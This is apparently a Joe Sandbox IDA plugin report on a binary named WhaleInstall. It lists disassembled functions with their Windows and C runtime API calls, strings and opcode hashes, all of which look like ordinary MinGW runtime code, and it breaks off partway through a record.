Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: exitfprintf
String ID: ($(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)$../mingw-w64/mingw-w64-libraries/winpthreads/src/rwlock.c$Assertion failed: (%s), file %s, line %d
API String ID: 4243785698-2396019738
Opcode ID: 18ce60624f7fb2bbd351b162a4c2e40bfb9e0f12f77aa938b31b4ec33a76670a
Instruction ID: add5433158df8c2482e94caf435757f6b4c7653394e28a21934dc99b90f594ee
Opcode Fuzzy Hash: 18ce60624f7fb2bbd351b162a4c2e40bfb9e0f12f77aa938b31b4ec33a76670a
Instruction Fuzzy Hash: C511D323A3854586EB00BB69D441AB8B360FF44B44FC48032DE2C073A2DFBCD445CB64

Function 00007FF772A787E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 45threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF772A78800
fprintf.MSVCRT ref: 00007FF772A7881F
GetCurrentThreadId.KERNEL32 ref: 00007FF772A78835
fprintf.MSVCRT ref: 00007FF772A7885C

Strings

C%p %lu %s, xrefs: 00007FF772A7880E
C%p %lu V=%0X w=%ld %s, xrefs: 00007FF772A78843

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CurrentThreadfprintf
String ID: C%p %lu %s$C%p %lu V=%0X w=%ld %s
API String ID: 1384477639-1941858864
Opcode ID: b4af5ab471a583189875e8f583bf371a5c4a4e6511f09ce52bfeb4d5f5050516
Instruction ID: 3c04959694634d33d0eb88e9b707996c858ab335def36a7cdadd7b53caab59f0
Opcode Fuzzy Hash: b4af5ab471a583189875e8f583bf371a5c4a4e6511f09ce52bfeb4d5f5050516
Instruction Fuzzy Hash: 4A016177A3874189EA11BB65F844868B764BB88B98F848031DE5C43764FE7CE445CB24

Function 00007FF772A7D300 Relevance: 10.5, APIs: 7, Instructions: 44COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF772A7D328
OpenProcess.KERNEL32 ref: 00007FF772A7D33F
CloseHandle.KERNEL32 ref: 00007FF772A7D34D
_errno.MSVCRT ref: 00007FF772A7D366

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen_errno
String ID:
API String ID: 2250453136-0
Opcode ID: 9b4ef1d86650ec53f7c5416886d606ea82e28ecaa2cd44a289d31cc3e7d9e582
Instruction ID: 410338d98c1989dcf725fdbaa5c92cc934f2e6f1e9ad53b24499b868d7403fcc
Opcode Fuzzy Hash: 9b4ef1d86650ec53f7c5416886d606ea82e28ecaa2cd44a289d31cc3e7d9e582
Instruction Fuzzy Hash: BE01842293DA5386F7143FA158949389150AF04B58FC64974CD3D46390FFAE2445CB38

Function 00007FF772A7D490 Relevance: 9.2, APIs: 6, Instructions: 157COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF772A7D610

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: 9571c61f471ff4bbbe6aef68cb961e09c338a0e63ecfba4911e94bdb81f8c9a4
Instruction ID: 720c166382b1a2a2d995e20bdeaaccc63f47fed7f6939d19e9b89b53692e3c38
Opcode Fuzzy Hash: 9571c61f471ff4bbbe6aef68cb961e09c338a0e63ecfba4911e94bdb81f8c9a4
Instruction Fuzzy Hash: E951A373B38A4685EB20AF29A840539E3A1EB44BD4F958135DE6E477A4EF7CE440CB14

Function 00007FF772A7B2E0 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF772A7B2F6
GetProcessAffinityMask.KERNEL32 ref: 00007FF772A7B309
GetCurrentProcess.KERNEL32 ref: 00007FF772A7B38F
GetProcessAffinityMask.KERNEL32 ref: 00007FF772A7B39F
GetCurrentProcess.KERNEL32 ref: 00007FF772A7B3E0
SetProcessAffinityMask.KERNEL32 ref: 00007FF772A7B3E9

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 855ff5621dce14185978830e9e507f3bf94565987af7efae83b58957f802cc82
Instruction ID: 5f32fb2bba76b384aefdb36fe5e770537d4324e42750e078da03e4db0bab2420
Opcode Fuzzy Hash: 855ff5621dce14185978830e9e507f3bf94565987af7efae83b58957f802cc82
Instruction Fuzzy Hash: 7831C673B38B4782EB506F65E440B79A3A0EB94784F895435EE1E43BA4EE7CD481CB14

Function 00007FF772A7ADC0 Relevance: 9.1, APIs: 6, Instructions: 97sleepthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF772A7AA90: TlsAlloc.KERNEL32 ref: 00007FF772A7AAC9

TlsSetValue.KERNEL32 ref: 00007FF772A7ADFE
GetCurrentThreadId.KERNEL32 ref: 00007FF772A7AE04
CloseHandle.KERNEL32 ref: 00007FF772A7AEA6
Sleep.KERNEL32 ref: 00007FF772A7AEF8
_endthreadex.MSVCRT ref: 00007FF772A7AF1D
TlsSetValue.KERNEL32 ref: 00007FF772A7AF4E

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Value$AllocCloseCurrentHandleSleepThread_endthreadex
String ID:
API String ID: 3976303954-0
Opcode ID: e37963161e5d8b68d7b01193c9e6797274d8934c2b8d830b367bea77b8a80052
Instruction ID: 37645b24d45dbd7c90acf1b427e1965e3467d0920b8b817daad82136a12e9d88
Opcode Fuzzy Hash: e37963161e5d8b68d7b01193c9e6797274d8934c2b8d830b367bea77b8a80052
Instruction Fuzzy Hash: 24410E63A3874295EB04BF21D8509B9A760FF44B84F864932DD3E437A6EE78E410CB64

Function 00007FF772AE8270 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF772AE8290
_errno.MSVCRT ref: 00007FF772AE8294
fflush.MSVCRT ref: 00007FF772AE829F
_errno.MSVCRT ref: 00007FF772AE82A8
_errno.MSVCRT ref: 00007FF772AE82C0
_errno.MSVCRT ref: 00007FF772AE82C7

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: _errno$fflush
String ID:
API String ID: 3480992530-0
Opcode ID: 7500dd7754a1d8a99a023a6ebed07002d19966b308f011c966143ce94db8ed0a
Instruction ID: cf138264069fd493ac41368c5aa606f260d49aa5f4ecd29b366a528f33d63079
Opcode Fuzzy Hash: 7500dd7754a1d8a99a023a6ebed07002d19966b308f011c966143ce94db8ed0a
Instruction Fuzzy Hash: ADF08173A2564989E7123F66AD00728E694AB54BD5F8A8430CE1C073A0EA7C2C82CB20

Function 00007FF772A72390 Relevance: 7.8, APIs: 5, Instructions: 340COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF772A72465
fputc.MSVCRT ref: 00007FF772A72602

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fputcmemset
String ID:
API String ID: 947785774-0
Opcode ID: 0472e681d1a812c7bb4ae3a0281c7176e7bdcb2b2f8bad55ce6dbe69566a2bcf
Instruction ID: f6a283da9c8053758c2d68e956a8dc69cc523a3bf6d9f0bd5e51de29dde4a689
Opcode Fuzzy Hash: 0472e681d1a812c7bb4ae3a0281c7176e7bdcb2b2f8bad55ce6dbe69566a2bcf
Instruction Fuzzy Hash: 1FD1D673F3958187E724BE248410B3DAA91EB44BA8FA64235CE3D577C4DA7CE941CB24

Function 00007FF772B0F150 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF772B0F1A0
memcpy.MSVCRT ref: 00007FF772B0F270

Strings

basic_string::append, xrefs: 00007FF772B0F1EB, 00007FF772B0F2BE, 00007FF772B0F2D1, 00007FF772B0F37B
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF772B0F2C5

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: a68f58510472ad7c0bd36f5e2042fb763010c6343c916d15fda881f6f451935e
Instruction ID: da0b38a35430101c314addb6c1d46ab5781ae3a56c1b2e1d0218dcabcb32b54b
Opcode Fuzzy Hash: a68f58510472ad7c0bd36f5e2042fb763010c6343c916d15fda881f6f451935e
Instruction Fuzzy Hash: D551E763B38A4581EE21EF25D4505BCA320EB55FA4FD48232DE2D477E1EE6CE482CB50

Function 00007FF772AE36F0 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF772AE387A

Part of subcall function 00007FF772B2CDD0: strlen.MSVCRT ref: 00007FF772B2CDFC

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF772AE37B1
basic_string::erase, xrefs: 00007FF772AE37AA

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcpystrlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::erase
API String ID: 3412268980-2652434754
Opcode ID: 11925c80779e7810540fb264b132f0184945133965fbbee6a8b51673f077282b
Instruction ID: ffc2580e2b4291023f86d1892ed6311028243a58a4e89bd68ef892a5612f92b2
Opcode Fuzzy Hash: 11925c80779e7810540fb264b132f0184945133965fbbee6a8b51673f077282b
Instruction Fuzzy Hash: 2F51F073F39A46A0EB01AA2AD44597DA760AB50FD4F998132DF3C473A1EE7CD442CB10

Function 00007FF772AE2890 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF772AE2901
memcpy.MSVCRT ref: 00007FF772AE2937

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF772AE2A79
basic_string::assign, xrefs: 00007FF772AE299A, 00007FF772AE2A72

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::assign
API String ID: 3510742995-2669816585
Opcode ID: 142920190d9c2e27bfc7302367c5338b7841621b5b35883b7a5981133bb84e74
Instruction ID: 27027651a8e13202ee21798f66d197c5ed548c81bf2dea213a4fb870227bb6d5
Opcode Fuzzy Hash: 142920190d9c2e27bfc7302367c5338b7841621b5b35883b7a5981133bb84e74
Instruction Fuzzy Hash: 3A513673F3964692EB10AB2AD4419BCE390AB54FD0F855135CF2C07391EEACE542CB20

Function 00007FF772A79E50 Relevance: 7.6, APIs: 5, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: bb72c2ec99e5e24d14c0da19197cf2430c6550b837e18412333963c9e4dbe0f4
Instruction ID: d9253ad55f8f72ce8126dd8b2c84fb90cbbe7b4b5da6ccd29760cfda6c23ae40
Opcode Fuzzy Hash: bb72c2ec99e5e24d14c0da19197cf2430c6550b837e18412333963c9e4dbe0f4
Instruction Fuzzy Hash: 9741C323B3920386FF617A359500F79A291AF40B54F994037DE2D4A3D4FEADD941CB68

Function 00007FF772A64238 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772A642DB

Strings

b, xrefs: 00007FF772A6424A
x, xrefs: 00007FF772A64254
_, xrefs: 00007FF772A6425A

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlen
String ID: _$b$x
API String ID: 39653677-3075772552
Opcode ID: 5c44b06292e3921b8154d021b407c308768ffdaade9c36fc0781c8b8a9c1b846
Instruction ID: 9424652bcf22b6a2c4590b5837c5c12b34fca78becb6d2ae64cc31aacae18c4b
Opcode Fuzzy Hash: 5c44b06292e3921b8154d021b407c308768ffdaade9c36fc0781c8b8a9c1b846
Instruction Fuzzy Hash: 53319573E39A4286E724AF24D481629B3A1FB14748FA25131CB6D83755EF7CE460CBA4

Function 00007FF772B2B6E0 Relevance: 7.6, APIs: 5, Instructions: 78COMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 00007FF772B2B710

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: setlocale
String ID:
API String ID: 1598674530-0
Opcode ID: 605d557d9d3d4ce67d67c192c84718af4d76779f3e7c681f9195c9fcede0b904
Instruction ID: cc6fdca72b9b2515e82ad44d04db45ed77ec371e1eef7eb76712ae4e7669cde0
Opcode Fuzzy Hash: 605d557d9d3d4ce67d67c192c84718af4d76779f3e7c681f9195c9fcede0b904
Instruction Fuzzy Hash: 6621DA57B3868255E710FB2668006BAE291AF48BC4F854135EE6C477A3FE7CD501DB14

Function 00007FF772A786F0 Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF772A78706
ReleaseSemaphore.KERNEL32 ref: 00007FF772A78734
LeaveCriticalSection.KERNEL32 ref: 00007FF772A78741
LeaveCriticalSection.KERNEL32 ref: 00007FF772A7875B
LeaveCriticalSection.KERNEL32 ref: 00007FF772A78778

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CriticalSection$Leave$EnterReleaseSemaphore
String ID:
API String ID: 2813224205-0
Opcode ID: 8371f0ac98a22601ab2141306407b2cebad1b74df217984b37d7b248fc20adf5
Instruction ID: 6f6aa16613b840e5a314a5e3e4b32258d6824b266f0277058c314d6019877d3a
Opcode Fuzzy Hash: 8371f0ac98a22601ab2141306407b2cebad1b74df217984b37d7b248fc20adf5
Instruction Fuzzy Hash: CE01DB23F3564586F7156F6AAD80A3882416F99BE6F884530CE1E41750FD3C98C6C710

Function 00007FF772A867A0 Relevance: 7.6, APIs: 5, Instructions: 53stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 00007FF772A867BE
strlen.MSVCRT ref: 00007FF772A867C9
memcpy.MSVCRT ref: 00007FF772A867E6
setlocale.MSVCRT ref: 00007FF772A867F1
setlocale.MSVCRT ref: 00007FF772A86814

Memory Dump Source

